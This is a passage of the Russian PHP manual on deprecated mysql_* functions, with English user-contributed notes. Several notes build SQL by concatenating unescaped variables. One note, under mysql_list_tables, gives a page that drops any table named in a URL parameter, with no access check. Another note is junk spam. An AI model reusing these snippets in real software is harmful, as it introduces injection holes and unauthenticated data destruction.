mysql_insert_id — Возвращает идентификатор, сгенерированный при последнем INSERT-запросе

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_insert_id()
  • PDO::lastInsertId()

Описание

mysql_insert_id(resource $link_identifier = NULL): int

Возвращает идентификатор, сгенерированный колонкой с AUTO_INCREMENT последним запросом (обычно INSERT).

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Идентификатор, сгенерированный колонкой с AUTO_INCREMENT последним запросом в случае успешного выполнения, 0, если последний запрос не генерирует значение AUTO_INCREMENT value, и false, если соединение MySQL не было установлено.

Примеры

Пример #1 Пример использования mysql_insert_id()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (product) values ('kossu')");
printf("Идентификатор последней вставленной записи %d\n", mysql_insert_id());
?>

Примечания

Предостережение

mysql_insert_id() конвертирует возвращаемый функцией MySQL C API тип значения функции mysql_insert_id() в тип long (называемый int в PHP). Если ваша колонка AUTO_INCREMENT имеет тип BIGINT (64 бита), то значение, возвращаемое функцией в результате преобразования может быть искажено. Используйте вместо данной функции внутреннюю MySQL-функцию LAST_INSERT_ID() в SQL-запросе. Подробнее о максимальных значениях целых чисел смотрите в разделе документации, посвящённом целым числам.

Замечание:

Так как mysql_insert_id() работает с последним выполненным запросом, вызывайте mysql_insert_id() сразу же после запроса, генерирующего новое значение.

Замечание:

Значение в SQL функции MySQL LAST_INSERT_ID() всегда содержит последний сгенерированный ID и не обнуляется между запросами.

Смотрите также

  • mysql_query() - Посылает запрос MySQL
  • mysql_info() - Возвращает информацию о последнем запросе

User Contributed Notes

dhiraj dot webdeveloper at gmail dot com 28-Sep-2017 12:22
MySQLi Procedural
//---------------------------------------------
$last_id = mysqli_insert_id($conn);

//---------------------------------------------
 <?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";

// Create connection
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";

if (mysqli_query($conn, $sql)) {
    $last_id = mysqli_insert_id($conn);
    echo "New record created successfully. Last inserted ID is: " . $last_id;
} else {
    echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}

mysqli_close($conn);
?>
hoangvu4000 at gmail dot com 12-Jul-2013 05:09
How to get ID of the last updated row in MySQL?

75
down vote
I've found an answer to this problem :)

by Pomyk

SET @update_id := 0;
UPDATE some_table SET row = 'value', id = (SELECT @update_id := id)
WHERE some_other_row = 'blah' LIMIT 1;
SELECT @update_id;
EDIT by aefxx

This technique can be further expanded to retrieve the ID of every row affected by an update statement:

SET @uids := null;
UPDATE footable
   SET foo = 'bar'
 WHERE fooid > 5
   AND ( SELECT @uids := CONCAT_WS(',', fooid, @uids) );
SELECT @uids;
This will return a string with all the IDs concatenated by a colon.

(questions: 1388025  form stackoverflow)
bargainbatman at gmail dot com 25-Sep-2009 06:16
I thought this would be relevant to all the people using mysqli and looking for the ID after INSERT command :

<?php
function insert_join($catid, $disc_id) {
// insert a new item into the database
   $conn = db_connect();
   // insert new item
   $demande = "insert into categories_disc values ('', '".$catid."', '".$disc_id."')";
   $resultat = $conn->query($demande);
   if (!$resultat) {
     return false;
   } else {
    return $conn->insert_id; // function will now return the ID instead of true.
}

}
?>

Then, on the other side, let us call this function as follows :

<?php
$cat_id = insert_join($catid, $disc_id);
if($cat_id !== false) {

        echo "<p>Category stuff was added to the database as follows : <br>";
        echo "<hr>ID de la category : ".$cat_id."</p><hr>";

        }
?>
elinor dot hurst at REMOVETHIS dot gmail dot com 08-Apr-2008 07:27
I don't get all the fuss around this.

I read:
"The value of mysql_insert_id() is affected only by statements issued within the current client connection. It is not affected by statements issued by other clients."

See: http://dev.mysql.com/doc/refman/5.0/es/mysql-insert-id.html

I can't really see what's inaccurate about that.

"In the case of a multiple-row INSERT statement, mysql_insert_id() returns the first automatically generated AUTO_INCREMENT value; if no such value is generated, it returns the last last explicit value inserted into the AUTO_INCREMENT column."

I must be missing something here but why would you insert multiple rows and then only handle the last one with some favoured behaviour? You could just as well insert them one at a time and then handle each row separately with the latest id.

I can't see what's wrong with that.

However I can see what's wrong with simply using max(my_table.id_column) because of the concurrent access issues this would imply.
Alfred Nony Mouse 23-Feb-2008 05:33
There's nothing inherently wrong with using auto-increment fields. There's also nothing wrong with the main competetive idea, which is for the database to supply a primitive sequence of non-repeating identifiers, typically integers. This is rather like which side of the road you drive on.

The bigger problem is when people don't understand what they are doing with database access. It's like driving a car without really knowing the rules of the road. Such people wind up making bad decisions without realizing it, and then, eventually, something breaks.

Databases are complex beasts, and worth taking the time to really understand. Learn about the implications and limitations of different approaches to solving problems. Then, you will be prepared to pick a solution based on what has to work.
louis at intoplay dot com 13-Aug-2007 07:53
If mysql_insert_id() returns 0 or null, check your auto increment field is not being set by your sql query, also if you have multiple db connections like I did, the solution is to create a seperate db connection for this query.
foros (_AT_) anthalia.com 31-Jul-2007 02:06
Forget about using MAX to get the last inserted id. Race conditions like other users inserting between your SELECT MAX(.. and your INSERT may render your id unusable.

The WAY to get the id is by using mysql_insert_id() or the mysql SQL function LAST_INSERT_ID().

Take care, if using mysql_insert_id() you should provide the resource returned by the mysql_connect, not the resultset returned by mysql_query.
heiligkind at yahoo dot de 14-Dec-2005 01:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
   $query = "INSERT INTO test (value)
                  VALUES ('test')
                  ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
02-Dec-2005 10:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
athies at gmail dot com 21-Jul-2005 02:36
Just a quick note. mysql_insert_id() does work with REPLACE.
Steve Bond 24-Jun-2004 11:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
vksgeneric at hotmail dot com 09-Dec-1999 05:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad


Возвращает список баз данных, доступных на сервере

  • « mysql_insert_id
  • mysql_list_fields »
  • PHP Manual
  • MySQL
  • Возвращает список баз данных, доступных на сервере

mysql_list_dbs

(PHP 4, PHP 5)

mysql_list_dbs — Возвращает список баз данных, доступных на сервере

Внимание

Данная функция объявлена устаревшей в PHP 5.4.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • SQL запрос: SHOW DATABASES

Описание

mysql_list_dbs(resource $link_identifier = NULL): resource

Возвращает указатель на результат, содержащий список баз данных, доступных на указанном сервере.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает resource результата в случае успешного выполнения, или false в случае возникновения ошибки. Используйте функцию mysql_tablename(), чтобы получить данные из результата, или любую другую функцию, работающую с результатами запросов, например mysql_fetch_array().

Примеры

Пример #1 Пример использования mysql_list_dbs()

<?php
// Без использования mysql_list_dbs()
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$res = mysql_query("SHOW DATABASES");

while ($row = mysql_fetch_assoc($res)) {
echo $row['Database'] . "\n";
}

// Устарело, начиная с PHP 5.4.0
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
echo $row->Database . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

database1
database2
database3

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_listdbs()

Смотрите также

  • mysql_db_name() - Возвращает название базы данных из вызова к mysql_list_dbs
  • mysql_select_db() - Выбирает базу данных MySQL

User Contributed Notes

jeff at forerunnertv dot com 06-Jun-2020 04:17
There is no direct equivalent of mysql_list_dbs() as a mysqli_list_dbs() command, but you can query "show databases" instead.

So this:

$db_list = mysql_list_dbs($connect);  //mysql

Is equivalent to this:

$db_list = mysqli_query($connect, "SHOW DATABASES"); //mysqli
busilezas at gmail dot com 24-Feb-2015 11:49
The example is wrong in Spanish version.

ERROR:  mysql_fetch_assoc() expects parameter 1 to be resource, null given in XXX on line 5
while ($fila = mysql_fetch_assoc($res)) {

OK.
while ($fila = mysql_fetch_assoc($resultado)) {
theriault 03-Jul-2012 09:46
Another alternative to this function is:

SQL Query: SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
matjung at hotmail dot com 27-Feb-2010 02:30
The result pointer contains only the databases for which the mysql_user has the select priviledge granted.


Возвращает список колонок таблицы

  • « mysql_list_dbs
  • mysql_list_processes »
  • PHP Manual
  • MySQL
  • Возвращает список колонок таблицы

mysql_list_fields

(PHP 4, PHP 5)

mysql_list_fields — Возвращает список колонок таблицы

Внимание

Данная функция объявлена устаревшей в PHP 5.4.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • SQL запрос: SHOW COLUMNS FROM sometable

Описание

mysql_list_fields(string $database_name, string $table_name, resource $link_identifier = NULL): resource

Возвращает информацию о таблице с переданным именем.

Эта функция устарела. Вместо неё рекомендуется использовать mysql_query() с SQL-запросом SHOW COLUMNS FROM table [LIKE 'name'].

Список параметров

database_name

Имя опрашиваемой базы данных.

table_name

Имя опрашиваемой таблицы.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Дескриптор результата (resource) в случае успешного выполнения, или false в случае возникновения ошибки.

Возвращаемый результат может быть обработан с помощью следующих
функций: mysql_field_flags(),
mysql_field_len(),
mysql_field_name() и
mysql_field_type().

Примеры

Пример #1 Пример использования mysql_list_fields()

<?php
$result = mysql_query("SHOW COLUMNS FROM sometable");
if (!$result) {
echo 'Ошибка при выполнении запроса: ' . mysql_error();
exit;
}
if (mysql_num_rows($result) > 0) {
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [Field] => id
    [Type] => int(7)
    [Null] =>
    [Key] => PRI
    [Default] =>
    [Extra] => auto_increment
)
Array
(
    [Field] => email
    [Type] => varchar(100)
    [Null] =>
    [Key] =>
    [Default] =>
    [Extra] =>
)

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_listfields()

Смотрите также

  • mysql_field_flags() - Возвращает флаги, связанные с указанным полем результата запроса
  • mysql_info() - Возвращает информацию о последнем запросе

User Contributed Notes

user1337 at 1337example dot com 08-Nov-2017 12:28
asgasgashashashasashsah
dshds
hd
s
sd
j
sj
df
j
fg
j
dfhfj
gf
jr
h
yure

gfj
3w
yfg
jr
ej
dtey

y
j
uresy
hf
y
re
256
4

rhy
udf
j
d

HUI
phpflow at gmail dot com 22-Jun-2012 08:32
Below script is used to get all coloumn indormation of an table.When we are working custome ORM then we need to match the coloumn name with array keys.

<?php
function getColoumn($table) {
     $result = mysql_query("SHOW COLUMNS FROM ". $table);
      if (!$result) {
        echo 'Could not run query: ' . mysql_error();
      }
      $fieldnames=array();
      if (mysql_num_rows($result) > 0) {
        while ($row = mysql_fetch_assoc($result)) {
          $fieldnames[] = $row['Field'];
        }
      }

      return $fieldnames;
}
?>
perwool at seznam dot cz 29-Oct-2007 02:32
Every my html table output begins with heading row containing the field names. For that purpose I accepted the short combination of MySQL function, giving me a result similar to the mysql_fetch_array() for the row of values. The following example shows the basic idea. It should be adapted for the specific use:

<?php
//...
$field_names = array_keys( mysql_fetch_array( mysql_query( $query, $link), MYSQL_ASSOC));
//...
?>

The advantage of this is, that it gives the names of the result, neither the field names of the whole table.
Please read the discussion about duplicate field names in SQL result carefully. The use, as shown in the example above, increments the pointer, hence some regular function, which does not, could be more useful :-)

Jan
steve at tequilasolutions dot com 12-Sep-2006 06:33
Note, using mysql_list_fields will change the currently selected database so subsequent mysql_query operations will be on the database in param 1 not the one selected with mysql_select_db
rhyous at yahoo dot com 04-Jun-2005 03:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $colname[0];
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/
?>

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $x;
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/
?>

To use it in conjuction with mysql_fetch_row:

<?php
$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");
?>

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com 13-Nov-2003 01:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
    if ( $row['Key_name'] == 'PRIMARY' )
      $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
      "auto"    => "",
      "primary" => array(),
      "fields"  => array()
    );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
    $information['fields'][] = $field;
    if ( $field['Extra'] == "auto_increment" )
      $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com 19-Jul-2002 07:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.


Возвращает список процессов MySQL

  • « mysql_list_fields
  • mysql_list_tables »
  • PHP Manual
  • MySQL
  • Возвращает список процессов MySQL

mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes — Возвращает список процессов MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_thread_id()

Описание

mysql_list_processes(resource $link_identifier = NULL): resource|false

Возвращает список текущих процессов на сервере MySQL.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Дескриптор результата (resource) в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_list_processes()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
$row["Command"], $row["Time"]);
}
mysql_free_result($result);
?>

Результатом выполнения данного примера будет что-то подобное:

1 localhost test Processlist 0
4 localhost mysql sleep 5

Смотрите также

  • mysql_thread_id() - Возвращает идентификатор текущего потока
  • mysql_stat() - Возвращает текущий статус сервера

User Contributed Notes

clintond at iol dot ie 15-Oct-2014 05:19
You can achieve the equivalent of the mysql_list_processes() function for MySQLi in php using:
function mysqli_list_processes(){
  $query = "SHOW PROCESSLIST";
  if ($res =$this->mysqli->query($query)){
    while ($row = $res->fetch_assoc()) $recs[$i++] = $row;
    $res->close();
    return $recs;
  } else {
    return false;
  }
}


Возвращает список таблиц базы данных MySQL

  • « mysql_list_processes
  • mysql_num_fields »
  • PHP Manual
  • MySQL
  • Возвращает список таблиц базы данных MySQL

mysql_list_tables

(PHP 4, PHP 5)

mysql_list_tables — Возвращает список таблиц базы данных MySQL

Внимание

Данная функция объявлена устаревшей в PHP 4.3.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • SQL запрос: SHOW TABLES FROM dbname

Описание

mysql_list_tables(string $database, resource $link_identifier = NULL): resource|false

Возвращает список имён таблиц базы данных MySQL.

Данная функция устарела. Вместо неё рекомендуется использовать mysql_query() с запросом SHOW TABLES [FROM db_name] [LIKE 'pattern'].

Список параметров

database

Имя базы данных

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Дескриптор результата (resource) в случае успешного выполнения или false в случае возникновения ошибки.

Используйте функцию mysql_tablename() для работы с результатом запроса, либо любую другую функцию, способную это делать, например, mysql_fetch_array().

Список изменений

Версия | Описание
4.3.7 | Функция помечена устаревшей.

Примеры

Пример #1 Пример использования mysql_list_tables()

<?php
$dbname = 'mysql_dbname';

if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
echo 'Ошибка подключения к mysql';
exit;
}

$sql = "SHOW TABLES FROM $dbname";
$result = mysql_query($sql);

if (!$result) {
echo "Ошибка базы, не удалось получить список таблиц\n";
echo 'Ошибка MySQL: ' . mysql_error();
exit;
}

while ($row = mysql_fetch_row($result)) {
echo "Таблица: {$row[0]}\n";
}

mysql_free_result($result);
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_listtables()

Смотрите также

  • mysql_list_dbs() - Возвращает список баз данных, доступных на сервере
  • mysql_tablename() - Возвращает имя таблицы, содержащей указанное поле

User Contributed Notes

bimal at sanjaal dot com 28-Feb-2013 09:22
A better alternative to mysql_list_tables() would be the following mysql_tables() function.

<?php
/**
* Better alternative to mysql_list_tables (deprecated)
*/
function mysql_tables($database='')
{
    $tables = array();
    $list_tables_sql = "SHOW TABLES FROM {$database};";
    $result = mysql_query($list_tables_sql);
    if($result)
    while($table = mysql_fetch_row($result))
    {
        $tables[] = $table[0];
    }
    return $tables;
}

# Usage example
$tables = mysql_tables($database_local);
?>
kroczu at interia dot pl 08-Dec-2006 03:01
<?
// here is a much more elegant method to check if a table exists ( no error generate)

if( mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$table."'")))
{
 //...
}

?>
mrkvomail at centrum dot cz 29-Jan-2006 11:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
    if (!$result) {
    }
   return(in_array($tableName, $tables));
}
Anonymous 15-Dec-2005 06:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect   ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables       = count($tablerow);
$statrow            = array();
$total_rows         = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
    // Query the status...
    $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
    if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
    // Get the status array of this table
    $table_info = mysql_fetch_array($result);
    // Add them to the total results
    $total_rows         += $table_info[3];
    $total_rows_average += $table_info[4];
    $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)     { return round($bs)           . " Bytes"; }
    else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"   ; }
    else                    { return round($bs/1048576,2) . " MB"   ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
daveheslop (dave heslop) 07-May-2005 04:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl 09-Sep-2003 09:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

    }

    mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com 07-May-2003 01:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
      if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com 17-Dec-2002 04:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
    $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
    echo $tsql."<BR>\n";
    $tresult = mysql_query($tsql,$linkI);
    if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com 06-Dec-2002 08:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{   // $count is the number of tables in the database
    $count=mysql_num_rows($result);
    for($x=0;$x<$count;$x++)
    {
        $tables[$x]=mysql_tablename($result,$x);
    }
    mysql_free_result($result);
    // LOTS more comparisons here
    $exist=array_intersect($tables,$check);
    $notexist=array_diff($exist,$check);
    if(count($notexist)==0)
    {
        $notexist=FALSE;
    }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
    if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
    {
        $notexist[count($notexist)]=$check[$x];
    }
}
if(count($notexist)==0)
{
    $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
29-Oct-2002 05:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
    $db_host='localhost';
    $db_usr='USER';
    $db_pwd='XXXXXXXX';
    $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
    mysql_select_db($tdb, $db);

    $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
    $result = mysql_query($sql_result);
    mysql_close($db);

    if($result) {
        $size = 0;
        while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
        }
        return $size;
    }
    else {
        return FALSE;
    }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de 04-Oct-2002 09:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com 02-Oct-2002 02:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net 17-Jun-2002 05:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
